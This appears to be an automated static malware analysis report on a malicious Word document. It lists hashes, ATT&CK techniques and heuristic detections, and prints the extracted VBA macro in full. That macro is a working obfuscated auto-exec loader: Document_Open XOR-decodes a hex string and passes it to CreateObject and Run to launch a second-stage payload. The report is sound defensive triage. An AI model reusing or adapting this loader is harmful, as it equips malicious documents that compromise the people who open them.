Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8efe4fcb3ee4b273…

MALICIOUS

Office (OLE)

31.0 KB Created: 2016-06-01 15:39:00 Authoring application: Microsoft Office Word First seen: 2017-12-09
MD5: fc6d6ec4654f3e367a2e707346daef8d SHA-1: dc188aa353c03ce1b8dbc00311d0995b48014239 SHA-256: 8efe4fcb3ee4b273ad339074ace265f8885ef2118127790827d40f0795a511b4
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains obfuscated VBA macros within a Document_Open auto-execution function. The script uses CreateObject and Run to execute a second-stage payload, likely a downloader or dropper, based on the obfuscated string. The document body explicitly instructs the user to enable editing and content, a common social engineering tactic to bypass macro security.

Heuristics 8

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1347 bytes
SHA-256: 0a12aa51b84a736064484ac477838094c0295d34eefd88984d28f8ba80f2c825
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub DocUmenT_OPEN()
JCtC
End Sub
Private Function Fh(Ieu3p, J8s, Jm, Ah4K)
Dim H0O
For H0O = 1 To Ah4K
Fh = Fh + FKhWg(Val(FKhWg((-7334 + 7372)) & FKhWg((207792 / 2886)) & (Mid$(J8s, (2 * H0O) - 1, 2))) Xor NZSy(Mid$(Ieu3p, (H0O - (Jm * (H0O \ Jm)) + 1), 1)))
Next H0O
End Function
Private Function FKhWg(AgOSir) As String
Dim CG(1) As Byte
CG(0) = AgOSir
FKhWg = CG
End Function
Private Sub JCtC()
Dim WosfMH
WosfMH = "162C36601039376E5A1772613661212B0161701F022C287350131300310E1F6B5761746855233B3A062036231C2F7261013333200627373C5512063E556E3621022F3E211425726105333B210728263755293B291D617026013522745A6E6B7A5B70627C5B776160426E213B1728367F5B242A2B5761706B3411020A3415136B29600339183B7360012C226C5567746E2615131C2161726C5761706B3411020A3415136B29600339183B7360012C226C"
CreateObject(Fh("CW", "003034313E33236D042B322F3B", 2, 13)).Run Fh("NuAR", WosfMH, 4, 176), (3556 - 3556), (3833 - 3833)
End Sub
Private Function NZSy(EgWbE)
Dim GcHUP() As Byte
GcHUP = EgWbE
NZSy = GcHUP(0) + (GcHUP(1) * (1699584 / 6639))
End Function

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